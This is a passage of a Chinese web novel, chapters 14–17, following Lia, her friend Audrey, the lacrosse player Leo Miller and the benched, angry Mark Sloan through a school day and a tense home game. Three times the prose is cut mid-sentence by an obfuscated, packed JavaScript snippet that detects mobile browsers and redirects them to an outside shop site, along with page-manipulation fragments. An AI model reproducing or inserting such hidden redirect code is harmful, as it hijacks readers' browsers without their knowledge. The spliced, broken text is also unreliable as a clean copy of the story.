自此，只要弗兰克踏进“鲈鱼喉酒馆”，总会有人默默递上一杯免费的威士忌，而交换就是听他再讲一遍那惊心动魄的狩猎故事。那些酒客仿佛永远听不腻。 奥黛丽的母亲，玛莎，则是镇上公认的烤肉女王，她能化腐朽为神奇，将各种野味烤得外焦里嫩，香气四溢。 奥黛丽在七个孩子中排行第四，用她自己的话说，“卡在中间，好处是既不用像老大那样扛起责任，也不用像老幺那样靠卖萌过活，自由得很。” 她是猎户的女儿，懂得如何设置陷阱，知道在恶劣天气里寻找庇护所。她曾不止一次对莉娅宣称：“就算现在把我一个人丢进森林最深处，只给我一把小折刀，我也能活蹦乱跳地走出来。信不信由你，我的野外生存概率比镇委会那帮老头做出明智决策的概率高多了。” 关于未来，奥黛丽的构想简单而极端，没有任何中间路线：“我要么像我老爸那样，放倒一头真正的猛兽，让‘鲈鱼喉酒馆’也记住我的名字。要么就彻底离开这儿，去芝加哥或者纽约当个模特儿，穿那些漂亮衣服在聚光灯下走路。” 她身高接近五英尺十英寸，身材高大匀称，肌肉线条流畅，是长期户外活动的结果。她将此归功于家族传统：“吃肉莉娅，像狼一样吃肉，别学那些只啃菜叶子的兔子。” 莉娅和奥黛丽的友谊始于三年级，当时奥黛丽把抢走莉娅午餐钱的比利·汤姆森揍得哭爹喊娘。从那以后，她们的友谊就像用最坚韧的松胶粘合过，再未分开。 14. chapter 14 “快说说，农场生活怎么样？”校车颠簸着启动，莉娅问道。 奥黛丽发出一声响亮的大笑：“我大部分时间都在跟脾气暴躁的公牛和永远喂不饱的猪群打交道。不过……”她压低声音。 “我学会了怎么给一头难产的母牛接生，那场面绝对比毕业舞会刺激一百倍。还有我试图偷偷开我舅舅的拖拉机，结果差点把他的宝贝篱笆全拱翻了，他追着我跑了半个牧场，脸气得像颗熟过头的甜菜。” 她洪亮的笑声引得几个同学回头张望。 “听起来你的暑假很好玩，”莉娅笑了笑，“我嘛，除了给酒馆送鱼，就是看书。” “书，又是书。”奥黛丽搂住她的肩膀，“莉娅你迟早会成了不起的作家，把我们都写进你的书里，但我得先确保你有点真正的、书本以外的故事可写。这个学期跟我混，保证刺激。” 这种充满生命力的喧嚣，是她寂静夏日里所缺少的。 校车在一个十字路口的停车标志前缓缓停下，发动机低沉地轰鸣着，等待着学生上车。就在这一片短暂的安静中，一个身影从校车左侧滑过。 是利奥·米勒，他从不坐校车。 他骑着一辆看起来有些年头的自行车，车身是深蓝色的。他弓着背，穿着一条洗得发白的牛仔裤和一件灰色的连帽衫，帽子松松地兜在头上，遮住了部分脸庞。阳光掠过他裸露在外的小臂，勾勒出紧绷的肌肉线条。 那一刻时间仿佛被拉长了，只有那个骑行的身影是清晰的、沉默的焦点。 然后校车司机松开刹车，黄色车身猛地向前一冲重新启动。利奥和他的自行车瞬间被甩在了后面，越来越远。 莉娅的目光自然地追随着那个远去的身影。 也许是因为车辆的启动声，利奥也恰好微微抬起了头，视线越过肩膀望向校车。 隔着距离，隔着扬起的细微尘埃和冰冷的玻璃，他们的目光在空中有了一个极其短暂的接触，他的眼睛看不真切。 莉娅眨了眨眼睛，她看着那身影变小，然后转回头继续听奥黛丽讲着农场里的趣事。 “哦，米勒啊。”奥黛丽也注意到了，随口说道，“怪胎一个，不过话说回来，他曲棍球打得的确不赖。” 她的评价总是这么直白。 * 橡林镇高中是一座红砖建筑，有些年头了。校车像吐豆子一样把学生们吐在门口，人群瞬间汇成一股嘈杂的溪流，涌进双开的大门。 空气里弥漫着新学期的气味，新书本的油墨香、地板蜡的味道，以及一种紧绷的兴奋感。 因为秋季联赛就要来了。 “挤死了。”奥黛丽抱怨道，用她结实的肩膀在人群中开辟道路。 莉娅紧跟在她身后。 她们终于挤到了属于高年级生的那一排铁皮柜子前。打开柜门，发出吱呀一声响。 “好了，”奥黛丽把几本厚书塞进柜子，“首要任务完成，走吧，哈里斯先生的历史课，但愿他今天心情好，别一来就小测验。” 哈里斯先生是个头发花白、身材消瘦的老先生，讲起历史来就像在讲述自己亲历的往事，时而激昂，时而低沉。今天他正讲到关键战役，粉笔在黑板上划出粗糙的战线图，声音带着一种催眠般的节奏。 莉娅安静地听着，偶尔在笔记本上记下几句。奥黛丽则在一旁偷偷在课本空白处画着农场里那头脾气暴躁的公牛。 接下来的生物课在实验室进行，他们这学期要开始解剖青蛙。当浸泡在防腐液里的青蛙被端上来时，奥黛丽显得兴致勃勃。 课间走廊里的喧嚣比早上更甚，她们不需要特意去寻找，那种围绕联赛的氛围就像声音一样包围了她们。成群的学生聚在一起，谈话的焦点几乎无一例外地围绕着即将开始的曲棍球联赛。 “听说隔壁镇今年招了个新人，壮得像头牛！” “那又怎样？我们有米勒，他上赛季末的那几个进球，老天简直像魔术。” “防守呢？光靠他一个人可赢不了比赛。” “教练说今年我们的机会很大，只要……” 对于这些十七岁的少年来说，联赛不仅仅是一系列比赛，它是通往外界、通往某种模糊而辉煌未来的狭窄通道。 而在所有这些谈论中，一个名字被反复提及，利奥·米勒。 莉娅一边走向下一节课的教室，一边安静地听着那些飘过来的议论。 利奥他话很少，几乎不参加任何社交活动，除了训练和比赛，大部分时间都独来独往。他不坐校车，总是骑着那辆自行车，风雨无阻。 “感觉大家都只关心联赛了，”午休时，奥黛丽咬着一口三明治说道，她对于大家狂热讨论利奥·米勒似乎并不太在意，“不过也挺好，热闹。” 她对冰球本身的热衷程度一般，但她享受这种集体性的兴奋。 莉娅点点头，小口喝着自己的牛奶。 她看到走廊的布告栏上，已经贴出了球队新赛季的赛程表，旁边是用鲜艳颜料写的助威标语「前进，橡林镇」 同学们三三两两围在那里，指指点点，脸上洋溢着兴奋和期待。 下午的课程在一种心照不宣的躁动中继续。 英语文学课上，当老师问到对某段诗歌的理解时，莉娅轻声说出了自己的看法，得到了老师的点头认可。奥黛丽则在桌子下轻轻踢了踢她的鞋尖，表示鼓励。 放学的铃声终于响起，莉娅和奥黛丽随着人流走向柜子取东西。走廊里依旧回荡着关于训练、关于对手、关于利奥·米勒的只言片语。 莉娅默默地锁上柜门，将书本抱在胸前。 新学期就这样开始了，她看了一眼窗外，秋日阳光正好一切都和昨天一样。 橡林镇的秋天，黄昏总是来得猝不及防。放学后的时光，对于莉娅和奥黛丽来说，通常由图书馆角落的安静、镇中心冷饮店的喧闹，或是通往奥黛丽家那片无边林地的蜿蜒小径构成。 这天下午她们决定先去冷饮店解决掉胃里的馋虫。 冷饮店里弥漫着油炸食物的香气和甜腻的糖浆味，老旧的点唱机正播放着热门歌手沙哑的嗓音，震得铺着格子塑料布的桌面微微发颤。几个低年级的学生挤在一个卡座里分享着一大份香蕉船，笑声尖锐而富有穿透力。 奥黛丽熟练地用吸管搅动着巧克力奶昔，泡沫发出滋滋的声响。 “哈里斯先生今天讲萨拉托加战役的时候，粉笔灰差点把他自己给埋了，”她模仿着老先生咳嗽的样子，“我真怕他下一口气喘不上来，还有生物课，老天，那只青蛙的肠子比我想象的还要……有嚼劲？”她做了个鬼脸。 莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790933|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娅小口啜饮着柠檬水，冰凉的酸意让她精神一振。 “我觉得挺有意思的，”她轻声说，嘴角带着一丝笑意，“至少比对着数学课本发呆强，不过奥黛丽，你画的那头牛可比青蛙的肠子生动多了。” “那是。”奥黛丽得意地扬起下巴，“艺术来源于生活，懂吗？我舅舅家那头公牛简直是个天生的模特，每个肌肉线条都充满了愤怒的力量感。” 她说着，又在餐巾纸上画了个简笔牛头，怒气冲冲的样子活灵活现。 她们的话题像溪流中的落叶，漫无目的地漂移。从老师的古怪穿着，到某个同学新换的发型看起来像被闪电劈过，再到奥黛丽计划着周末去林子里设置几个陷阱，看能不能抓到点什么东西。 “说不定能给你做副新手套，莉娅，冬天的风可厉害了。” 莉娅听着，偶尔插上一两句，她喜欢看奥黛丽眉飞色舞的样子。 就在她们准备离开时，冷饮店的门被猛地推开，撞响了门上的铃铛。几个穿着运动夹克的高大男生吵吵嚷嚷地走了进来，带着一身户外的凉气和汗味。 是曲棍球球队的几个队员。 他们显然刚结束训练，头发还湿漉漉地贴在额头上，脸上带着运动后的疲惫和兴奋。 莉娅的目光下意识地在人群中扫过，没有看到那个沉默的身影。利奥·米勒通常不参与这种集体活动。 一个身材魁梧、嗓门洪亮的男生，马克·斯隆，正大声抱怨着教练的新战术安排。 “……简直是瞎搞，让我在边线等着传球？见鬼，我应该在中路冲锋陷阵。”马克挥舞着粗壮的手臂，差点打翻邻桌的番茄酱瓶。 他的脸色因为激动而泛红，脖筋都绷了起来。 “得了吧，马克，”一个相对冷静的声音响起，是球队的副队长，一个叫戴维的男孩，“教练有他的考虑，对手的防守很强，我们需要……” “需要考虑什么？考虑怎么让我坐冷板凳吗？”马克打断他，声音里带着明显的不满，“我看他就是看我不顺眼，等着瞧吧，等联赛名单公布，要是我没进首发……”他后面的话被同伴的劝解声淹没了。 奥黛丽凑近莉娅，压低声音说：“瞧见没？马克又开始他的世界围着我转演讲了。我敢打赌，要是球队输了，他准能找出一百个理由证明不是他的错。” 莉娅没说话。 马克他是镇上木材厂老板的独子，家境优渥。 据说他出生时不足月，瘦弱得像只小猫，他母亲倾注了全部心血，硬是把他喂养成了如今这副壮硕如小牛犊子的体格。 可惜，在曲棍球这项需要速度、技巧和头脑的运动中，光有蛮力远远不够。马克的球风莽撞，容易冲动，犯规次数比他的得分可能还多。在低级别比赛中他的身体优势还能唬唬人，但到了真正关键的联赛，他的缺点就暴露无遗。 “走吧，”奥黛丽拉起莉娅，“再看下去，我的奶昔都要被他吵得凝固了。” 她们走出冷饮店，傍晚的风已经带上了明显的凉意。糖枫树的红色又加深了一层，像燃烧的火焰，小镇似乎被一种无形的期待笼罩着，连空气都变得紧绷。 关于联赛的议论无处不在，像低沉的背景音，嗡嗡作响。几天后，这种期待达到了顶峰。 联赛首个主场比赛的日子到了。 15. chapter 15 下午三点刚过，镇中心的曲棍球场周围就开始热闹起来。一些热心的家长和镇民自发地提前来到球场外支起长条桌，铺上印着镇徽的塑料桌布，开始布置起临时的招待点。 “莉娅，快来帮把手，”米勒太太招呼着，手里抱着一摞印着“加油，橡林镇”字样的纸杯，“把那些饼干和布朗尼蛋糕摆得好看些。茶和咖啡壶小心点拿，别烫着。” 莉娅应了一声，开始帮忙。 长条桌上很快就摆满了各家主妇们拿手的点心和饮料，燕麦葡萄干饼干、撒着糖霜的柠檬蛋糕、厚实的巧克力布朗尼，还有大壶的苹果醋饮料。气氛热烈而友好，像一场大型的社区野餐。 利奥·米勒家的两个姐姐也来了。 她们家在镇上开着一家小小的面包店，平时生意忙碌，今天却早早打烊，在店门口挂上了“今日歇业，为橡林镇队加油”的牌子。 两位姐姐性格爽利，穿着围裙，麻利地帮忙搬动着沉重的饮料箱。 “嘿，需要把这桶冰块倒哪里？”利奥的大姐萨拉，嗓门洪亮地问道。 “就放在茶壶旁边吧，亲爱的。”米勒太太笑着回答。 莉娅一边摆放着点心，一边听着大人们的谈话。球员们的父母聚在一起，脸上既有骄傲也有掩饰不住的紧张。他们谈论着孩子们从小到大的训练趣事，抱怨着昂贵的装备费用，但更多的是对即将开始的比赛的期盼。 “我家那小子，昨晚紧张得都没睡好觉。” “隔壁镇的球队今年实力不弱，他们的守门员是个难缠的角色。” “怕什么？我们有利奥，那孩子只要上了场，就像变了个人。” “是啊，米勒家那小子是有点天才的样子。只希望马克今天能沉住气，别又犯老毛病……” 提到马克的名字时，谈话出现了一丝短暂的停顿，气氛微妙的有些凝滞，大家都心照不宣地转移了话题。 莉娅看到马克的母亲，一位衣着精致、面容略显憔悴的女士，正独自站在稍远的地方，紧张地搓着手，目光不时望向球场入口方向。 她为这个儿子付出了太多，期望也太高。 就在这时，一阵骚动从远处传来。 有人喊了一声：“他们来了。” 人群立刻像潮水般向道路两边涌去，莉娅也停下手中的活，踮起脚尖望去。 一群穿着统一运动外套的高大少年在教练的带领下，沿着镇中心的主干道，向球场走来，夕阳给他们年轻的身影镀上了一层金边。他们走得不快，但每一步都带着沉甸甸的力量感。 道路两旁的镇民们爆发出热烈的掌声和欢呼声。 “橡林镇，加油！” “干掉他们，利奥看你的了。” “小伙子们，把胜利带回来。” 少年们脸上带着严肃的表情，偶尔向熟悉的街坊点头示意，或伸出手与道路两旁的人们击掌。连奥黛丽也挤到了莉娅身边，难得安静地看着这一幕。 莉娅站在米勒夫人身边，靠近桌子的位置。 队员们陆续走过，她看到了戴维，看到了其他几个面熟的队员。然后她看到了利奥，他走在队伍偏后的位置，依旧微微弓着背，帽檐压得很低。 当他走近时，旁边有人边高喊着他的名字边伸出手，利奥也抬起手与那人击掌，动作干脆利落。紧接着他的目光扫过了莉娅所在的方向，也许是因为莉娅恰好站在显眼的位置，也许只是因为视线偶然的交汇。 他的手掌在空中停顿了一下，然后向着莉娅伸来。 周围是鼎沸的人声，喧闹的欢呼，晃动的人影。但现在世界仿佛被按下了慢放键，莉娅几乎是无意识地，也伸出了自己的手。 两只手，一只因为长期握球杆和骑自行车而带着薄茧和坚实的力量，另一只则纤细、微凉，在空中轻轻相触。 不是清脆的击掌，而是掌心短暂地、几乎停滞地贴合了一下，时间可能不到一秒钟。能感觉到他手掌传来的温热和干燥的触感。 非常短暂，却异常清晰。 然后他的手便收了回去，继续向前走去，没有回头。 莉娅的手指微微蜷缩了一下，残留的触感还在。她听到自己的声音，很轻，但异常清晰地说：“加油。” 利奥的脚步似乎没有丝毫停滞，他淹没在队友和人群之中。 但莉娅觉得在那一瞬间的停顿里，他或许听到了。 球员们的身影消失在通往更衣室的通道入口，外面的热闹暂告一段落。 米勒太太和其他志愿者们继续招呼着陆续到来的观众，分发着茶点。莉娅和奥黛丽也帮忙了一会儿，直到入场铃声响起。 “走吧，”奥黛丽拉起莉娅的手，“找个好位置，我可是答应了我爸要给他实况转播场上的情况，虽然我觉得他更关心马克会不会又跟人打起来。” 她们随着人流涌入球场看台，橡林镇的露天曲棍球场有些简陋，但水泥台阶座位此刻几乎坐满了人。男女老少，几乎整个小镇有空闲的人都来了。 看台正对面，悬挂着一条巨大的手绘横幅：“前进，橡林镇！” 与此同时，主队更衣室里却是另一番景象，气氛凝重得能拧出水来。 汗水、橡胶摩擦和廉价古龙水的味道混杂在一起，球员们各自坐在自己的柜子前，默默地整理着装备。 长曲棍球的装备颇为复杂，队员们先穿上带有护垫的短裤和肩垫，然后是印着队徽和号码的比赛服。橡林镇队的队服是传统的深绿色和白色相间，胸前是一只怒吼的石貂图案，背后是醒目的白色号码。 利奥·米勒的号码是17号，他穿上自己号码队服，接着是护肘、厚重的手套、保护肋部的护胸，最后戴上带有金属面罩的头盔。 当他们全副武装起来时，几乎看不出本来面目。 霍奇斯教练身材壮实，脸庞被风吹日晒得通红，他双手叉腰，挺着胸膛，目光缓缓扫过眼前的每一个队员。 这些小伙子很多人都是从七八岁起就跟在他身边，从抱着比自己还高的球杆跌跌撞撞，长成如今能扛能撞的男子汉。 “都听好了，”他的声音不高，没有太多激昂的语调，却让所有人都屏住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790934|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呼吸，“废话不多说，对手不是来郊游的，他们块头大，喜欢身体接触。” 他停顿了一下，走到一个队员面前帮他正了正肩垫的带子：“杰克逊，你的任务是缠住他们的进攻核心，像牛皮糖一样明白吗？别让他舒服拿球。”他又看向另一个，“戴维，防守站位靠后一点，保护禁区，你的判断很重要。” 他的目光最后落在利奥身上：“米勒，按我们练的战术打，有机会就坚决点，看清楚队友的位置。” 他没有过多的溢美之词，就像吩咐一件再平常不过的事情。 “我们是一个整体，就像……就像烤苹果派，少了哪样材料都不对味。” 这个比喻有点蹩脚，甚至引来几声压抑的低笑，但出自这个怕老婆的严肃男人之口，却奇异地让人感到踏实。 “记住，你们代表的是橡林镇。别给咱们镇丢脸，稳扎稳打，减少失误。”他顿了顿似乎在组织语言，最后只是用力拍了拍手，发出沉闷的声响，“好了上场，打出点样子来。” 就在这时更衣室的门被轻轻敲响，助理教练探头进来，示意时间到了。米勒教练深吸一口气，目光再次扫过每一张年轻而坚毅的脸庞，最后他用尽全身力气，低沉而有力地吼道： “出发，让我们把胜利带回来。” “好。”队员们发出一声震耳欲聋的呐喊，用力敲击着手中的球杆和身旁的柜子，整个更衣室仿佛都在震动。 他们像一股绿色的洪流，涌向出口。 然而在这股洪流边缘，却有一个人僵立在原地。 是马克·斯隆。 他脸色惨白，嘴唇哆嗦着，死死地盯着刚刚贴在墙上的首发名单。他的名字不在上面，取而代之的，是一个刚刚升上高中部不久的新生丹尼。 耻辱、愤怒、不甘…… 他猛地转过身，一拳狠狠砸在自己的铁皮柜子上，发出“咣”的一声巨响，盖过了所有的喧嚣。柜门被他砸得凹陷下去。 巨大的声响让所有人都安静了下来，看向他。 “马克……”霍奇斯教练试图说些什么。 但马克什么也听不进去了，他狠狠地瞪了教练一眼，目光扫过那些即将首发的队友，尤其是在丹尼和利奥·米勒身上停留了片刻，眼神里充满了怨恨。 然后，他一把抓起自己的外套，头也不回地冲出了更衣室，用力摔上了门。 更衣室里一片寂静，利奥·米勒望着马克离去的方向，没说任何一句话。 他理解马克的失落，但无法认同他的方式。球队需要的是团结，而不是破坏性的情绪。 他默默地调整了一下自己的手套，拉下面罩遮住脸庞，只露出一双显得格外明亮的眼睛。 17号深绿色的身影，融入了即将出场的队伍中。 教练看着马克离开的方向，眉头紧锁，但很快又挺直了腰板。 他拍了拍手：“别受影响，集中精神，为了橡林镇。” “为了橡林镇。”队员们再次齐声呐喊，将刚才的插曲抛在脑后，迈着坚定的步伐走向灯光通明的球场。 16. chapter 16 当橡林镇队的队员们跑进球场时，看台上爆发出山呼海啸般的欢呼声。莉娅和奥黛丽坐在靠近中场的位置，能清晰地看到场上的情况。 “哇哦，这阵势……”奥黛丽吹了声口哨，“简直像要上战场。” 莉娅的目光则在那些几乎一模一样的身影中寻找着。 她很快找到了17号，即使穿着厚重的装备，利奥·米勒的动作依然有一种独特的轻盈感和爆发力，像一头蓄势待发的猎豹。 裁判哨响，比赛开始。 曲棍球是一项高速、充满身体对抗的运动。 球杆碰撞发出的咔嗒声，球员们沉重的脚步声，教练在场边的吼声，裁判的哨声，还有看台上观众随着比赛进程而发出的惊呼叹息声，交织在一起。 莉娅对规则懂得不多，她更多的是通过球衣背后的号码和那些隐约熟悉的身影来追随比赛。她看到对手球员确实很强壮，防守严密得像一堵墙。 “看那个，17号利奥。” 奥黛丽激动地抓住莉娅的胳膊。 利奥·米勒在中场附近一个灵活的转身，甩开了一名防守队员，然后冲向对方球门。他的带球动作流畅而隐蔽，球仿佛粘在了他的球杆网上。 两名对方球员立刻上前包夹，试图阻挡他。 “传球啊，快传球。”旁边有观众焦急地大喊。 但利奥没有传球。 他在极小的空间里做了一个逼真的假动作，晃开了一个角度，在身体即将失去平衡的瞬间，猛地挥杆射门。球像一颗出膛的炮弹，划过一道刁钻的弧线直挂球门死角。 “咚。”球击中球网的声音清脆响亮。 “球进了——”现场解说员的声音通过不太清晰的喇叭传遍全场。 看台上瞬间沸腾了，人们跳起来挥舞着手臂，疯狂地呐喊。莉娅也感觉自己的心脏猛地一跳，不由自主地和奥黛丽拥抱在一起。 “老天他做到了，他居然做到了。”奥黛丽兴奋地大叫。 1：0领先。 但对手很快还以颜色，他们利用一次快速反击，趁着橡林镇队防守稍有松懈，由他们的明星球员扳回一球。 1：1。 接下来的比赛进入了白热化的拉锯战，身体碰撞更加激烈，不时有球员被撞倒在地，又很快爬起来继续投入战斗。 比分交替上升，比赛异常激烈。莉娅看到不止一次有球员被球杆扫到小腿，或是在冲撞中倒地翻滚，痛苦地蜷缩起来，但通常在队医简单处理后，又咬着牙重新投入比赛。 每一次得分都引发看台的沸腾，奥黛丽看得大呼小叫。 莉娅则更安静，她的目光更多追随着那个17号。 她看到他一次次爬起来，动作似乎没有受到丝毫影响，但在他跑动时，莉娅注意到他微微皱了下眉，下意识地揉了揉之前被撞到的肋骨位置。 中场休息的哨声终于吹响，比分定格在3：3。 看台上的气氛紧张得如同拉满的弓弦。 “太激烈了，我得去弄点喝的，嗓子都快喊哑了。”奥黛丽抹了把额头的汗，“莉娅你要什么，柠檬水？” 莉娅也觉得口干舌燥，点了点头：“嗯，我去拿吧，你看着位置。” 她想稍微走动一下，缓解一下紧绷的神经。 离开喧闹的看台，走向场地外围售卖饮料的小摊。秋夜的凉意袭来，与球场内的火热形成对比。就在她买好两瓶柠檬水转身准备回去时，却在场地边缘堆放器材的阴影里，看到了一个熟悉的身影。 是马克·斯隆。 他没有离开球场，而是独自一人靠在一个装满训练锥的塑料箱上，低着头，巨大的身躯在昏暗光线下显得格外落寞。 他手里捏着一个空了的纸杯，已经揉成了一团。远处传来主场观众对下半场比赛的期待议论声更反衬出他这里的寂静。他似乎完全沉浸在自己的世界里，连莉娅的靠近都没有察觉。 莉娅停下脚步，犹豫着是否该悄悄走开。 在莉娅思考之际，马克那双充血的眼睛死死锁住她，像一头被困在陷阱里的野兽，愤怒中夹杂着屈辱。 远处主看台上传来嗡嗡的喧闹声，而这里很安静。 莉娅刚想悄无声息地离开这个火药桶，马克却猛地挺直了庞大的身躯。空纸杯被他攥成一团，指节发出咯咯的声响。 “你，”他声音沙哑，带着一股狠劲像砂纸磨过木头，“莉娅·罗斯，你在这儿干什么？来看我的笑话，看看首发名单上没有的可怜虫？” 莉娅停下脚步，转过身面对他，声音尽量保持平稳：“我只是路过，马克我去买饮料。”她举了举手中冰凉的柠檬水瓶。 “路过？”马克嗤笑一声，往前逼近一步，高大的身影几乎挡住了所有从球场方向漏过来的光，“说得真好听，跟那个该死的丹尼是一伙的吧？嗯？看到利奥·米勒的小跟班进了首发，心里乐开花了吧？” 他的话语变得粗俗起来，带着青春期男孩特有的、试图用污言秽语来掩饰疼痛的笨拙恶意。 “是不是觉得跟着利奥那种小白脸就了不起了，他给你什么好处了？还是你就喜欢他那副装模作样的德性？我告诉你在球场上，光会花架子屁用没有，要不是教练偏心……” 莉娅没有后退，她内敛的性格下那份坚韧的内核此刻发挥了作用。 她没有激动地反驳，只是静静地看着他，等他这阵情绪的狂风暴雨稍歇。目光越过他激动的脸庞，落在他身后阴影里，那儿斜靠着一根长曲棍球杆，但中间部分明显不自然地弯曲了，甚至能看到断裂的木茬。 “马克，”等他喘息的间隙，莉娅开口，声音不大却清晰，“利奥没有让我来看任何人的笑话。我来是因为这是橡林镇的比赛。” 她顿了顿，补充道，“而且教练的决定，也许有他的考虑。你刚才的情绪……确实不太稳定。在这种关键比赛里，不稳定可能比技术不足更让人担心。” 马克愣住了，似乎没料到这个看起来温顺安静的女孩会如此直接。 她不是在嘲讽，这反而更让他难受。 “你他妈懂什么。”他像被踩了尾巴的猫，更加暴怒起来，唾沫星子几乎喷到莉娅脸上，“不稳定？我他妈为这支球队流血出汗的时候，那个丹尼还在玩泥巴。我撞翻过多少人，为球队争取过多少机会？现在嫌我不稳定了？需要脏活累活的时候怎么不说了，不就是想捧利奥·米勒那个宝贝疙瘩吗？我告诉你没门，这事没完。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790935|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他又开始新一轮的咆哮，词汇更加不堪入耳，将教练、丹尼、利奥，甚至整个镇子的“短视”都咒骂了一遍。 莉娅只是听着，没有打断，她知道此刻的任何反驳都只会火上浇油。 终于，马克的吼声低了下去。 莉娅这才轻声说：“柠檬水要化了，奥黛丽还在等我。” 她顿了顿，看着他的眼睛，加了一句，“马克，折断球杆的话也解决不了任何问题的。” 说完她不再停留，转身沿着来路走回。 “你怎么去了那么久？”奥黛丽接过柠檬水，迫不及待地灌了一大口，眼睛还盯着场上正在热身的两队队员，“是不是人太多了，老天我紧张得胃都缩成一团了。3比3，这下半场要命了。” 莉娅在她身边坐下，冰凉的瓶子驱散了些许掌心的汗湿。 “嗯，人有点多。”她含糊地应道，没有提及马克·斯隆。 她的目光下意识地搜寻着场上的17号，利奥正在和队友进行简单的传接球练习，动作依旧流畅，但莉娅总觉得他那微微弓着的背脊，似乎比刚才更紧绷了一些。 哨声长鸣，下半场比赛开始了。 如果说上半场是试探与激烈对抗，那么下半场从一开始就进入了白热化的肉搏战。对手显然调整了策略，他们加强了对利奥的盯防，不再是单个球员的纠缠，而是往往两三人形成合围，用身体不断地冲撞、挤压他。 每一次利奥拿球，看台上都会响起一片惊呼和随之而来的咒骂。 “该死的，他们是想杀人吗？” “裁判瞎了吗？那明显是冲人去的。” “撞回去米勒，给他们点颜色看看！” 奥黛丽激动地挥舞着拳头：“对，踩烂那群杂种，让他们知道橡林镇不是好惹的。” 莉娅的心则随着每一次冲撞而揪紧。 她看到利奥在一次摆脱中，被对方一名壮硕的防守队员用肩膀狠狠顶在肋部，他闷哼一声，摔倒在地滚了好几圈。 裁判的哨声响起，判罚对方犯规，看台上爆发出震耳欲聋的嘘声和怒吼。 “混蛋，把他罚下场。” “这简直是谋杀。” 利奥在地上蜷缩了片刻，才在队友的搀扶下慢慢站起来，他摆了摆手示意自己没事。 莉娅盯着他，嘴唇抿得紧紧的。 利奥罚球得分，4：3，橡林镇再次领先。 欢呼声几乎要掀翻顶棚，但莉娅注意到，利奥在跑回本方半场时左手一直虚握成拳，几乎没有参与摆臂动作。 对手的战术意图很明显，甚至有些卑劣。即使无法完全摆脱利奥，也要最大限度地消耗他，甚至不惜用犯规手段让他受伤离场。 这种策略激起了队员的血性，拼抢更加惨烈。 副队长戴维在一次防守中为了封堵对方的射门，被坚硬的橡胶球直接击中腹部，痛苦地跪倒在地，好久都没能爬起来。队医上场，他最终被搀扶下场，脸色惨白。 比分再次被扳平，4：4。 时间一分一秒流逝，气氛紧张得让人窒息。奥黛丽已经喊得嗓子沙哑，紧紧抓着莉娅的胳膊。 莉娅感觉自己手心的汗就没干过。 17. chapter 17 终于在比赛还剩最后两分钟时，橡林镇队获得了一次宝贵的进攻机会。球经过几次传递，鬼使神差地又到了利奥的杆袋里。 他面前是两名如狼似虎的防守队员，他没有强行突破，而是做了一个极其逼真的向右传球的假动作，骗得对方重心偏移的瞬间，他猛地从左侧突进。 这是一个极其冒险的动作，依赖于他左手的球感和爆发力。对方一名防守队员情急之下，明显有一个故意用球杆扫向他小腿的动作。 “哔——”裁判的哨声尖锐响起。 几乎同时利奥在失去平衡前用尽全身力气，将球射向了球门。球划出一道弧线，绕过了守门员的扑救，擦着门柱内侧，钻进了网窝。 球进了，5：4。 整个橡林镇主场彻底沸腾了，人们从座位上跳起来，疯狂地呐喊、拥抱、挥舞着一切可以挥舞的东西。 奥黛丽抱着莉娅又跳又叫，眼泪都笑了出来。 利奥·米勒倒在地上，裁判正在向那名恶意犯规的队员出示罚令。队友们疯狂地冲向他，将他团团围住。他被拉起来接受着英雄般的欢呼，比赛时间所剩无几，这个进球几乎杀死了悬念。 莉娅也沉浸在巨大的喜悦之中，但她的目光始终没有离开利奥。她看到他被队友们拥抱、拍打后背，大家都在用右手捶他的肩膀，或者伸出右手与他击掌庆祝。 利奥也一一回应，用他的右手。 但是莉娅清晰地记得，那个制胜球，他是用左手射出的。而在被犯规扫倒时他的左手是最先撑地的，此刻在狂欢的人群中他的左手垂在身侧，手指微微蜷缩。 当一名队友兴奋地想用拳头轻捶他左臂时，他有一个非常迅速而隐蔽的闪避动作，然后用右手顺势揽住了那名队友的肩膀，将对方的注意力引开。 这个细节微乎其微，淹没在震耳欲聋的欢呼声中，几乎没有人注意到。 但莉娅看到了。 她看到他那试图掩饰的、细微的蹙眉，看到他左臂那种不自然的僵硬。 他受伤了。 最后的几十秒在对手的绝望的反扑中结束。终场哨响，橡林镇以5：4险胜对手。球场变成了绿色的欢乐海洋，队员们脱下头盔，接受着观众如潮的掌声。 教练那张严肃的脸上也难得地露出了笑容，尽管眼圈有些发红。 莉娅和奥黛丽随着人流向下涌去，奥黛丽兴奋地指着被众人抛向空中的利奥：“看莉娅，他做到了，他真是个天才。” 